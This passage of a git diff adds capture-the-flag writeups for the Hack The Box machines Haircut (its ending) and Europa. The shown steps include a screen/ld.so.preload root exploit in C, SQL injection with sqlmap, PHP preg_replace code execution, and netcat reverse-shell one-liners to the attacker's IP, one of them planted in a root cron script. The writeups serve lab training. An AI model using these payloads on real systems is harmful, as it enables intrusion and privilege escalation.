] [~/_HTB/Haircut] + → nano rootshell.c + + + + #include <****stdio.h> + int main(void){ + setuid(0); + setgid(0); + system("/bin/sh"); + } + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut] + → nano libhax.c + + + + #include <****stdio.h> + #include <****sys/types.h> + #include <****unistd.h> + __attribute__ ((__constructor__)) + void dropshell(void){ + chown("/tmp/rootshell",0,0); + chmod("/tmp/rootshell",04755); + unlink("/etc/ld.so.preload"); + printf("[+] done!\n"); + } + +now once we have both of them, we compile rootshell.c + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut] + → ls + 41154.sh bounce.jpg nihilist.html nihilist.php libhax.c rootshell.c + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut] + → gcc -o rootshell rootshell.c + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut] + → file rootshell + rootshell: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=12fa79c4be4d1e8082f25adb7e78c33e46df2d80, for GNU/Linux 3.2.0, not stripped + + +so we have our 64bit executable binary, which is appropriate because when we type uname with the -a flag on the box we see that it is a 64bit machine. + + + www-data@haircut:/tmp$ uname -a + uname -a + Linux haircut 4.4.0-78-generic #99-Ubuntu SMP Thu Apr 27 15:29:09 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux + + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut] + → gcc -fPIC -shared -ldl -o libhax.so libhax.c + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut] + → ls + 41154.sh nihilist.html libhax.c rootshell + bounce.jpg nihilist.php libhax.so rootshell.c + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Haircut] + → python -m SimpleHTTPServer 9006 + Serving HTTP on 0.0.0.0 port 9006 ... + + +And we now we have both our compiled files libhax.so and rootshell. Running simplehttpserver, we download them into /tmp. + + + www-data@haircut:/tmp$ cd /tmp && wget http://10.10.14.20:9006/libhax.so && wget http://10.10.14.20:9006/rootshell + --2020-02-24 15:22:28-- http://10.10.14.20:9006/libhax.so + Connecting to 10.10.14.20:9006... connected. + HTTP request sent, awaiting response... 200 OK + Length: 16144 (16K) [application/octet-stream] + Saving to: 'libhax.so' + + 0K .......... ..... 100% 152K=0.1s + + 2020-02-24 15:22:28 (152 KB/s) - 'libhax.so' saved [16144/16144] + + --2020-02-24 15:22:28-- http://10.10.14.20:9006/rootshell + Connecting to 10.10.14.20:9006... connected. + HTTP request sent, awaiting response... 200 OK + Length: 16720 (16K) [application/octet-stream] + Saving to: 'rootshell' + + 0K .......... ...... 100% 145K=0.1s + + 2020-02-24 15:22:28 (145 KB/s) - 'rootshell' saved [16720/16720] + + www-data@haircut:/tmp$ chmod +x rootshell && chmod +x libhax.so + chmod +x rootshell && chmod +x libhax.so + + +Now we should be ready to get run the intended script although at this point we'll just do the rest manually, since we basically cut out more than half of the script already. + + + #!/bin/sh + echo "~ gnu/screenroot ~" + echo "[+] First, we create our shell and library..." + cd /etc + umask 000 # because + screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline n> + echo "[+] Triggering..." + screen -ls # screen itself is setuid, so... + /tmp/rootshell + + + + + www-data@haircut:/tmp$ cd /etc + cd /etc + + www-data@haircut:/etc$ umask 000 + umask 000 + + www-data@haircut:/etc$ screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline n> + + www-data@haircut:/etc$ ls -la | grep ld + ls -la | grep ld + -rw-r--r-- 1 root root 24939 May 19 2017 ld.so.cache + -rw-r--r-- 1 root root 34 Jan 27 2016 ld.so.conf + drwxr-xr-x 2 root root 4096 May 16 2017 ld.so.conf.d + drwxr-xr-x 2 root root 4096 May 15 2017 ldap + www-data@haircut:/etc$ /tmp/rootshell + /tmp/rootshell + id + uid=0(root) gid=0(root) groups=0(root),33(www-data) + cat /root/root.txt + 4cXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to privesc to the root user and we have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/8_graph.png) + diff --git a/Medium/9.md b/Medium/9.md new file mode 100644 index 0000000..3606f2f --- /dev/null +++ b/Medium/9.md @@ -0,0 +1,321 @@ +# Europa Writeup + +![](img/9.png) + +## Introduction : + +Europa is a medium Linux box released back in June 2017. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.20/23 ] [~] + → nmap -F 10.10.10.22 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-24 16:20 GMT + Nmap scan report for 10.10.10.22 + Host is up (0.100s latency). + Not shown: 97 filtered ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + 443/tcp open https + + Nmap done: 1 IP address (1 host up) scanned in 3.03 seconds + + λ nihilist [ 10.10.14.20/23 ] [~] + → nmap -sCV -p22,80,443 10.10.10.22 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-24 16:20 GMT + Nmap scan report for 10.10.10.22 + Host is up (0.11s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 6b:55:42:0a:f7:06:8c:67:c0:e2:5c:05:db:09:fb:78 (RSA) + | 256 b1:ea:5e:c4:1c:0a:96:9e:93:db:1d:ad:22:50:74:75 (ECDSA) + |_ 256 33:1f:16:8d:c0:24:78:5f:5b:f5:6d:7f:f7:b4:f2:e5 (ED25519) + 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) + |_http-server-header: Apache/2.4.18 (Ubuntu) + |_http-title: Apache2 Ubuntu Default Page: It works + 443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu)) + |_http-server-header: Apache/2.4.18 (Ubuntu) + |_http-title: Apache2 Ubuntu Default Page: It works + | ssl-cert: Subject: commonName=europacorp.htb/organizationName=EuropaCorp Ltd./stateOrProvinceName=Attica/countryName=GR + | Subject Alternative Name: DNS:www.europacorp.htb, DNS:admin-portal.europacorp.htb + | Not valid before: 2017-04-19T09:06:22 + |_Not valid after: 2027-04-17T09:06:22 + |_ssl-date: TLS randomness does not represent time + | tls-alpn: + |_ http/1.1 + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 19.81 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it by running dirsearch : + + + λ nihilist [ 10.10.14.20/23 ] [~] + → dirsearch -u http://10.10.10.22/ -e php,html,txt -t 50 + git clone https://github.com/maurosoria/dirsearch.git + dirsearch -u -e -t 50 -x 500 + + _|. _ _ _ _ _ _|_ v0.3.9 + (_||| _) (/_(_|| (_| ) + + Extensions: php, html, txt | HTTP method: get | Threads: 50 | Wordlist size: 6733 + + Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-02-24_16-22-58.log + + Target: http://10.10.10.22/ + + [16:22:59] Starting: + [16:23:01] 403 - 297B - /.ht_wsr.txt + [16:23:01] 403 - 290B - /.hta + [16:23:01] 403 - 299B - /.htaccess-dev + [16:23:01] 403 - 301B - /.htaccess-local + [16:23:01] 403 - 301B - /.htaccess-marco + [16:23:01] 403 - 299B - /.htaccess.BAK + [16:23:01] 403 - 300B - /.htaccess.bak1 + [16:23:01] 403 - 299B - /.htaccess.old + [16:23:01] 403 - 300B - /.htaccess.orig + [16:23:01] 403 - 302B - /.htaccess.sample + [16:23:01] 403 - 300B - /.htaccess.save + [16:23:01] 403 - 299B - /.htaccess.txt + [16:23:01] 403 - 300B - /.htaccess_orig + [16:23:01] 403 - 301B - /.htaccess_extra + [16:23:01] 403 - 298B - /.htaccessBAK + [16:23:01] 403 - 298B - /.htaccess_sc + [16:23:01] 403 - 298B - /.htaccessOLD + [16:23:01] 403 - 299B - /.htaccessOLD2 + [16:23:01] 403 - 296B - /.htaccess~ + [16:23:01] 403 - 294B - /.htgroup + [16:23:01] 403 - 299B - /.htpasswd-old + [16:23:01] 403 - 300B - /.htpasswd_test + [16:23:01] 403 - 296B - /.htpasswds + [16:23:01] 403 - 294B - /.htusers + [16:23:17] 200 - 12KB - /index.md + [16:23:24] 403 - 300B - /server-status/ + [16:23:24] 403 - 299B - /server-status + + +not much on it, except the default index.html apache 2 default page our nmap scan picked up earlier. Instead we see that our previous nmap scan picked up port 443 with the alternative dns name of DNS:admin-portal.europacorp.htb so let's add it to our /etc/hosts. + + + λ root [ 10.10.14.20/23 ] [/home/nihilist] + → echo '10.10.10.22 admin-portal.europacorp.htb' >> /etc/hosts + + +Now we browse to the following link : https://admin-portal.europacorp.htb, and we are greeted with a login page : + +![](prg/9_001.png) + +from here, we can start trying some basic sql injections, you can see below our interecepted request using burpsuite : which we will then send to the repeater (ctrl+R) and then go to it (ctrl+shift+r) + + + POST /login.php HTTP/1.1 + Host: admin-portal.europacorp.htb + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + Referer: https://admin-portal.europacorp.htb/login.php + Content-Type: application/x-www-form-urlencoded + Content-Length: 46 + DNT: 1 + Connection: close + Cookie: PHPSESSID=5vfcs42gqn2tbe9am730gusr71 + Upgrade-Insecure-Requests: 1 + + email=admin%40europacorp.htb&password;=password + + +from here we need to do some trial and error with sql injection cheatsheets, but once we find the correct arguements, we can continue: + +![](prg/9_002.png) + +from there, we can also use sqlmap + + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Europa] + → sqlmap -u https://admin-portal.europacorp.htb/login.php --data "email=whatever&password;=whatever" + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Europa] + → sqlmap -u https://admin-portal.europacorp.htb/login.php --data "email=whatever&password;=whatever" –dbs + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Europa] + → sqlmap -u https://admin-portal.europacorp.htb/login.php --data "email=whatever&password;=whatever" –tables -D admin + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Europa] + → sqlmap -u https://admin-portal.europacorp.htb/login.php --data "email=whatever&password;=whatever" –tables –columns -D admin -T users + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Europa] + → sqlmap -u https://admin-portal.europacorp.htb/login.php --data "email=whatever&password;=whatever" -D admin -T users –dump password + + + +and after running the aforementionned commands which take some time we get the following results : + + + +----+----------------------+--------+---------------+----------------------------------+ + | id | email | active | username | password | + +----+----------------------+--------+---------------+----------------------------------+ + | 1 | admin@europacorp.htb | 1 | administrator | 2b6d315337f18617ba18922c0b9597ff | + | 2 | john@europacorp.htb | 1 | john | 2b6d315337f18617ba18922c0b9597ff | + +----+----------------------+--------+---------------+----------------------------------+ + + +Putting the aforementionned hashes into **hash-identifier** we see that we are dealing with md5 hashes : + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Europa] + → hash-identifier + ######################################################################### + # __ __ __ ______ _____ # + # /\ \/\ \ /\ \ /\__ _\ /\ _ `\ # + # \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ # + # \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ # + # \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ # + # \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ # + # \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 # + # By Zion3R # + # www.Blackploit.com # + # Root@Blackploit.com # + ######################################################################### + -------------------------------------------------- + HASH: 2b6d315337f18617ba18922c0b9597ff + + Possible Hashs: + [+] MD5 + [+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username))) + + + +So cracking it using https://hashkiller.io/ we find the password we need which is : SuperSecretPassword! + +![](prg/9_004.png) + +once logged in as admin@europacorp.htb:SuperSecretPassword! we go to the Tools tab and we see some sort of an openvpn configuration: + + + "openvpn": { + "vtun0": { + "local-address": { + "10.10.10.1": "''" + }, + "local-port": "1337", + "mode": "site-to-site", + "openvpn-option": [ + "--comp-lzo", + "--float", + "--ping 10", + "--ping-restart 20", + "--ping-timer-rem", + "--persist-tun", + "--persist-key", + "--user nobody", + "--group nogroup" + ], + "remote-address": "ip_address", + "remote-port": "1337", + "shared-secret-key-file": "/config/auth/secret" + }, + "protocols": { + "static": { + "interface-route": { + "ip_address/24": { + "next-hop-interface": { + "vtun0": "''" + } + } + } + } + } + } + + +So below that config we have a generate button, so we turn the intercept on, activate foxyproxy as we did earlier, and intercept the request. + +![](prg/9_005.png) + +looking at the pattern parameter, we see that it is a regular expression %2F ( / ) , ip address, and then %2F ( / ) so let's investigate this further by sending the request over to the repeater (ctrl + r) and then going there (ctrl + r) then into the params tab where we can clearly see the pattern we described earlier : + +![](prg/9_006.png) + +now let's change the pattern to try and execute php code since this is a deprecated regular expression : + +![](prg/9_007.png) + +And we get remote code execution ! now let's move over to using a reverse shell one liner : + + + rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.20 4444 > /tmp/f + + +and let's see if we get a reverse shell : + +![](prg/9_008.png) + +And we get a reverse shell ! now let's print out the user flag : + + + $ which python + $ cd /home + $ ls + john + $ cd john + $ cat user.txt + 2fXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to privesc we need to enumerate the cronjobs running on the machine : + + + $ cat /var/www/cronjobs/clearlogs + #!/usr/bin/php + <****?php + $file = '/var/www/admin/logs/access.log'; + file_put_contents($file, ''); + exec('/var/www/cmd/logcleared.sh'); + ?****> + +cron executes a shellscript named "logcleared.sh" every x minutes, so let's add a reverse shell line (one liner once again) but this time on our port 9001. + + + $ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.20 9001 > /tmp/f' > /var/www/cmd/logcleared.sh + $ chmod 777 /var/www/cmd/logcleared.sh + + +Now we wait a bit with our second netcat listener on port 9001, and we finally get a reverse shell as root : + + + λ nihilist [ 10.10.14.20/23 ] [~] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.20] from (UNKNOWN) [10.10.10.22] 46498 + /bin/sh: 0: can't access tty; job control turned off + # id + uid=0(root) gid=0(root) groups=0(root) + # cat /root/root.txt + 7fXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/9_graph.png) + diff --git a/Medium/img/0.png b/Medium/img/0.png new file mode 100644 index 0000000..8dda054 Binary files /dev/null and b/Medium/img/0.png differ diff --git a/Medium/img/1.png b/Medium/img/1.png new file mode 100644 index 0000000..8dda054 Binary files /dev/null and b/Medium/img/1.png differ diff --git a/Medium/img/10.png b/Medium/img/10.png new file mode 100644 index 0000000..d027b23 Binary files /dev/null and b/Medium/img/10.png differ diff --git a/Medium/img/10_graph.png b/Medium/img/10_graph.png new file mode 100644 index 0000000..2d74541 Binary files /dev/null and b/Medium/img/10_graph.png differ diff --git a/Medium/img/11.png b/Medium/img/11.png new file mode 100644 index 0000000..917f5e8 Binary files /dev/null and b/Medium/img/11.png differ diff --git a/Medium/img/11_graph.png b/Medium/img/11_graph.png new file mode 100644 index 0000000..060cbb6 Binary files /dev/null and b/Medium/img/11_graph.png differ diff --git a/Medium/img/12.png b/Medium/img/12.png new file mode 100644 index 0000000..20f2a13 Binary files /dev/null and b/Medium/img/12.png differ diff --git a/Medium/img/12_graph.png b/Medium/img/12_graph.png new file mode 100644 index 0000000..b0b85b4 Binary files /dev/null and b/Medium/img/12_graph.png differ diff --git a/Medium/img/13.png b/Medium/img/13.png new file mode 100644 index 0000000..79ffe55 Binary files /dev/null and b/Medium/img/13.png differ diff --git a/Medium/img/13_graph.png b/Medium/img/13_graph.png new file mode 100644 index 0000000..fff637f Binary files /dev/null and b/Medium/img/13_graph.png differ diff --git a/Medium/img/14.png b/Medium/img/14.png new file mode 100644 index 0000000..c247daf Binary files /dev/null and b/Medium/img/14.png differ diff --git a/Medium/img/14_graph.png b/Medium/img/14_graph.png new file mode 100644 index 0000000..7e96479 Binary files /dev/null and b/Medium/img/14_graph.png differ diff --git a/Medium/img/15.png b/Medium/img/15.png new file mode 100644 index 0000000..9154847 Binary files /dev/null and b/Medium/img/15.png differ diff --git a/Medium/img/15_graph.png b/Medium/img/15_graph.png new file mode 100644 index 0000000..790cd8b Binary files /dev/null and b/Medium/img/15_graph.png differ diff --git a/Medium/img/16.png b/Medium/img/16.png new file mode 100644 index 0000000..f24a81d Binary files /dev/null and b/Medium/img/16.png differ diff --git a/Medium/img/16_graph.png b/Medium/img/16_graph.png new file mode 100644 index 0000000..1d40e69 Binary files /dev/null and b/Medium/img/16_graph.png differ diff --git a/Medium/img/17.png b/Medium/img/17.png new file mode 100644 index 0000000..0f4e206 Binary files /dev/null and b/Medium/img/17.png differ diff --git a/Medium/img/17_graph.png b/Medium/img/17_graph.png new file mode 100644 index 0000000..15161ce Binary files /dev/null and b/Medium/img/17_graph.png differ diff --git a/Medium/img/18.png b/Medium/img/18.png new file mode 100644 index 0000000..9724c7d Binary files /dev/null and b/Medium/img/18.png differ diff --git a/Medium/img/18_graph.png b/Medium/img/18_graph.png new file mode 100644 index 0000000..c366fcb Binary files /dev/null and b/Medium/img/18_graph.png differ diff --git a/Medium/img/19.png b/Medium/img/19.png new file mode 100644 index 0000000..68336f4 Binary files /dev/null and b/Medium/img/19.png differ diff --git a/Medium/img/19_graph.png b/Medium/img/19_graph.png new file mode 100644 index 0000000..46a9f7c Binary files /dev/null and b/Medium/img/19_graph.png differ diff --git a/Medium/img/1_graph.png b/Medium/img/1_graph.png new file mode 100644 index 0000000..ad43d4b Binary files /dev/null and b/Medium/img/1_graph.png differ diff --git a/Medium/img/2.png b/Medium/img/2.png new file mode 100644 index 0000000..6ca84ad Binary files /dev/null and b/Medium/img/2.png differ diff --git a/Medium/img/20.png b/Medium/img/20.png new file mode 100644 index 0000000..8f2ac26 Binary files /dev/null and b/Medium/img/20.png differ diff --git a/Medium/img/20_graph.png b/Medium/img/20_graph.png new file mode 100644 index 0000000..9fb05ad Binary files /dev/null and b/Medium/img/20_graph.png differ diff --git a/Medium/img/21.png b/Medium/img/21.png new file mode 100644 index 0000000..2d44537 Binary files /dev/null and b/Medium/img/21.png differ diff --git a/Medium/img/21_graph.png b/Medium/img/21_graph.png new file mode 100644 index 0000000..aaee32e Binary files /dev/null and b/Medium/img/21_graph.png differ diff --git a/Medium/img/22.png b/Medium/img/22.png new file mode 100644 index 0000000..35cc35a Binary files /dev/null and b/Medium/img/22.png differ diff --git a/Medium/img/22_graph.png b/Medium/img/22_graph.png new file mode 100644 index 0000000..36a4708 Binary files /dev/null and b/Medium/img/22_graph.png differ diff --git a/Medium/img/23.png b/Medium/img/23.png new file mode 100644 index 0000000..fef4f89 Binary files /dev/null and b/Medium/img/23.png differ diff --git a/Medium/img/23_graph.png b/Medium/img/23_graph.png new file mode 100644 index 0000000..1768dad Binary files /dev/null and b/Medium/img/23_graph.png differ diff --git a/Medium/img/24.png b/Medium/img/24.png new file mode 100644 index 0000000..c319181 Binary files /dev/null and b/Medium/img/24.png differ diff --git a/Medium/img/24_graph.png b/Medium/img/24_graph.png new file mode 100644 index 0000000..3eca37c Binary files /dev/null and b/Medium/img/24_graph.png differ diff --git a/Medium/img/25.png b/Medium/img/25.png new file mode 100644 index 0000000..3ea8bb3 Binary files /dev/null and b/Medium/img/25.png differ diff --git a/Medium/img/25_graph.png b/Medium/img/25_graph.png new file mode 100644 index 0000000..1b2c508 Binary files /dev/null and b/Medium/img/25_graph.png differ diff --git a/Medium/img/26.png b/Medium/img/26.png new file mode 100644 index 0000000..27e74f2 Binary files /dev/null and b/Medium/img/26.png differ diff --git a/Medium/img/26_graph.png b/Medium/img/26_graph.png new file mode 100644 index 0000000..1275c56 Binary files /dev/null and b/Medium/img/26_graph.png differ diff --git a/Medium/img/27.png b/Medium/img/27.png new file mode 100644 index 0000000..58d488b Binary files /dev/null and b/Medium/img/27.png differ diff --git a/Medium/img/27_graph.png b/Medium/img/27_graph.png new file mode 100644 index 0000000..0c554f8 Binary files /dev/null and b/Medium/img/27_graph.png differ diff --git a/Medium/img/28.png b/Medium/img/28.png new file mode 100644 index 0000000..881c14e Binary files /dev/null and b/Medium/img/28.png differ diff --git a/Medium/img/28_graph.png b/Medium/img/28_graph.png new file mode 100644 index 0000000..34cd050 Binary files /dev/null and b/Medium/img/28_graph.png differ diff --git a/Medium/img/29.png b/Medium/img/29.png new file mode 100644 index 0000000..038f99d Binary files /dev/null and b/Medium/img/29.png differ diff --git a/Medium/img/29_graph.png b/Medium/img/29_graph.png new file mode 100644 index 0000000..5c42994 Binary files /dev/null and b/Medium/img/29_graph.png differ diff --git a/Medium/img/2_graph.png b/Medium/img/2_graph.png new file mode 100644 index 0000000..c728d6d Binary files /dev/null and b/Medium/img/2_graph.png differ diff --git a/Medium/img/3.png b/Medium/img/3.png new file mode 100644 index 0000000..165dbfb Binary files /dev/null and b/Medium/img/3.png differ diff --git a/Medium/img/30.png b/Medium/img/30.png new file mode 100644 index 0000000..23898fe Binary files /dev/null and b/Medium/img/30.png differ diff --git a/Medium/img/30_graph.png b/Medium/img/30_graph.png new file mode 100644 index 0000000..4f9439c Binary files /dev/null and b/Medium/img/30_graph.png differ diff --git a/Medium/img/31.png b/Medium/img/31.png new file mode 100644 index 0000000..a4489f3 Binary files /dev/null and b/Medium/img/31.png differ diff --git a/Medium/img/31_graph.png b/Medium/img/31_graph.png new file mode 100644 index 0000000..cc965ce Binary files /dev/null and b/Medium/img/31_graph.png differ diff --git a/Medium/img/32.png b/Medium/img/32.png new file mode 100644 index 0000000..898cdf2 Binary files /dev/null and b/Medium/img/32.png differ diff --git a/Medium/img/32_graph.png b/Medium/img/32_graph.png new file mode 100644 index 0000000..5d99e6f Binary files /dev/null and b/Medium/img/32_graph.png differ diff --git a/Medium/img/33.png b/Medium/img/33.png new file mode 100644 index 0000000..11bcfcd Binary files /dev/null and b/Medium/img/33.png differ diff --git a/Medium/img/33_graph.png b/Medium/img/33_graph.png new file mode 100644 index 0000000..325ca52 Binary files /dev/null and b/Medium/img/33_graph.png differ diff --git a/Medium/img/34.png b/Medium/img/34.png new file mode 100644 index 0000000..1311abf Binary files /dev/null and b/Medium/img/34.png differ diff --git a/Medium/img/34_graph.png b/Medium/img/34_graph.png new file mode 100644 index 0000000..95ed250 Binary files /dev/null and b/Medium/img/34_graph.png differ diff --git a/Medium/img/35.png b/Medium/img/35.png new file mode 100644 index 0000000..c14cdce Binary files /dev/null and b/Medium/img/35.png differ diff --git a/Medium/img/35_graph.png b/Medium/img/35_graph.png new file mode 100644 index 0000000..4d130c2 Binary files /dev/null and b/Medium/img/35_graph.png differ diff --git a/Medium/img/36.png b/Medium/img/36.png new file mode 100644 index 0000000..6e5e5e2 Binary files /dev/null and b/Medium/img/36.png differ diff --git a/Medium/img/36_graph.png b/Medium/img/36_graph.png new file mode 100644 index 0000000..0492fd8 Binary files /dev/null and b/Medium/img/36_graph.png differ diff --git a/Medium/img/37.png b/Medium/img/37.png new file mode 100644 index 0000000..0af0e65 Binary files /dev/null and b/Medium/img/37.png differ diff --git a/Medium/img/37_graph.png b/Medium/img/37_graph.png new file mode 100644 index 0000000..7e34ea3 Binary files /dev/null and b/Medium/img/37_graph.png differ diff --git a/Medium/img/38.png b/Medium/img/38.png new file mode 100644 index 0000000..e295e6c Binary files /dev/null and b/Medium/img/38.png differ diff --git a/Medium/img/38_graph.png b/Medium/img/38_graph.png new file mode 100644 index 0000000..5666094 Binary files /dev/null and b/Medium/img/38_graph.png differ diff --git a/Medium/img/39.png b/Medium/img/39.png new file mode 100644 index 0000000..44e5278 Binary files /dev/null and b/Medium/img/39.png differ diff --git a/Medium/img/39_graph.png b/Medium/img/39_graph.png new file mode 100644 index 0000000..1e9d4c2 Binary files /dev/null and b/Medium/img/39_graph.png differ diff --git a/Medium/img/3_graph.png b/Medium/img/3_graph.png new file mode 100644 index 0000000..4debba4 Binary files /dev/null and b/Medium/img/3_graph.png differ diff --git a/Medium/img/4.png b/Medium/img/4.png new file mode 100644 index 0000000..e8fda83 Binary files /dev/null and b/Medium/img/4.png differ diff --git a/Medium/img/40.png b/Medium/img/40.png new file mode 100644 index 0000000..4b95f94 Binary files /dev/null and b/Medium/img/40.png differ diff --git a/Medium/img/40_graph.png b/Medium/img/40_graph.png new file mode 100644 index 0000000..ca25a3e Binary files /dev/null and b/Medium/img/40_graph.png differ diff --git a/Medium/img/41.png b/Medium/img/41.png new file mode 100644 index 0000000..cff9506 Binary files /dev/null and b/Medium/img/41.png differ diff --git a/Medium/img/41_graph.png b/Medium/img/41_graph.png new file mode 100644 index 0000000..3bc4cc1 Binary files /dev/null and b/Medium/img/41_graph.png differ diff --git a/Medium/img/42.png b/Medium/img/42.png new file mode 100644 index 0000000..67d16f5 Binary files /dev/null and b/Medium/img/42.png differ diff --git a/Medium/img/42_graph.png b/Medium/img/42_graph.png new file mode 100644 index 0000000..b1d93ce Binary files /dev/null and b/Medium/img/42_graph.png differ diff --git a/Medium/img/43.png b/Medium/img/43.png new file mode 100644 index 0000000..97f2a03 Binary files /dev/null and b/Medium/img/43.png differ diff --git a/Medium/img/43_graph.png b/Medium/img/43_graph.png new file mode 100644 index 0000000..7504057 Binary files /dev/null and b/Medium/img/43_graph.png differ diff --git a/Medium/img/44.png b/Medium/img/44.png new file mode 100644 index 0000000..1fbfe00 Binary files /dev/null and b/Medium/img/44.png differ diff --git a/Medium/img/44_graph.png b/Medium/img/44_graph.png new file mode 100644 index 0000000..a649757 Binary files /dev/null and b/Medium/img/44_graph.png differ diff --git a/Medium/img/45.png b/Medium/img/45.png new file mode 100644 index 0000000..f32a95d Binary files /dev/null and b/Medium/img/45.png differ diff --git a/Medium/img/45_graph.png b/Medium/img/45_graph.png new file mode 100644 index 0000000..7d29ec0 Binary files /dev/null and b/Medium/img/45_graph.png differ diff --git a/Medium/img/46.png b/Medium/img/46.png new file mode 100644 index 0000000..89f35d0 Binary files /dev/null and b/Medium/img/46.png differ diff --git a/Medium/img/46_graph.png b/Medium/img/46_graph.png new file mode 100644 index 0000000..5431fb5 Binary files /dev/null and b/Medium/img/46_graph.png differ diff --git a/Medium/img/47.png b/Medium/img/47.png new file mode 100644 index 0000000..5190c37 Binary files /dev/null and b/Medium/img/47.png differ diff --git a/Medium/img/47_graph.png b/Medium/img/47_graph.png new file mode 100644 index 0000000..b13b623 Binary files /dev/null and b/Medium/img/47_graph.png differ diff --git a/Medium/img/48.png b/Medium/img/48.png new file mode 100644 index 0000000..95c8f8a Binary files /dev/null and b/Medium/img/48.png differ diff --git a/Medium/img/48_graph.png b/Medium/img/48_graph.png new file mode 100644 index 0000000..53e4401 Binary files /dev/null and b/Medium/img/48_graph.png differ diff --git a/Medium/img/49.png b/Medium/img/49.png new file mode 100644 index 0000000..ec6f2fa Binary files /dev/null and b/Medium/img/49.png differ diff --git a/Medium/img/49_graph.png b/Medium/img/49_graph.png new file mode 100644 index 0000000..ccfb635 Binary files /dev/null and b/Medium/img/49_graph.png differ diff --git a/Medium/img/4_graph.png b/Medium/img/4_graph.png new file mode 100644 index 0000000..e0191d8 Binary files /dev/null and b/Medium/img/4_graph.png differ diff --git a/Medium/img/5.png b/Medium/img/5.png new file mode 100644 index 0000000..e736805 Binary files /dev/null and b/Medium/img/5.png differ diff --git a/Medium/img/50.png b/Medium/img/50.png new file mode 100644 index 0000000..ba3bcad Binary files /dev/null and b/Medium/img/50.png differ diff --git a/Medium/img/50_graph.png b/Medium/img/50_graph.png new file mode 100644 index 0000000..ea5aa01 Binary files /dev/null and b/Medium/img/50_graph.png differ diff --git a/Medium/img/51.png b/Medium/img/51.png new file mode 100644 index 0000000..321d1c7 Binary files /dev/null and b/Medium/img/51.png differ diff --git a/Medium/img/51_graph.png b/Medium/img/51_graph.png new file mode 100644 index 0000000..e71e0bb Binary files /dev/null and b/Medium/img/51_graph.png differ diff --git a/Medium/img/52.png b/Medium/img/52.png new file mode 100644 index 0000000..bd80732 Binary files /dev/null and b/Medium/img/52.png differ diff --git a/Medium/img/52_graph.png b/Medium/img/52_graph.png new file mode 100644 index 0000000..ffad04f Binary files /dev/null and b/Medium/img/52_graph.png differ diff --git a/Medium/img/53.png b/Medium/img/53.png new file mode 100644 index 0000000..0949d78 Binary files /dev/null and b/Medium/img/53.png differ diff --git a/Medium/img/53_graph.png b/Medium/img/53_graph.png new file mode 100644 index 0000000..7faeac7 Binary files /dev/null and b/Medium/img/53_graph.png differ diff --git a/Medium/img/54.png b/Medium/img/54.png new file mode 100644 index 0000000..bc8fb11 Binary files /dev/null and b/Medium/img/54.png differ diff --git a/Medium/img/54_graph.png b/Medium/img/54_graph.png new file mode 100644 index 0000000..654299f Binary files /dev/null and b/Medium/img/54_graph.png differ diff --git a/Medium/img/55.png b/Medium/img/55.png new file mode 100644 index 0000000..f80fede Binary files /dev/null and b/Medium/img/55.png differ diff --git a/Medium/img/55_graph.png b/Medium/img/55_graph.png new file mode 100644 index 0000000..31a9949 Binary files /dev/null and b/Medium/img/55_graph.png differ diff --git 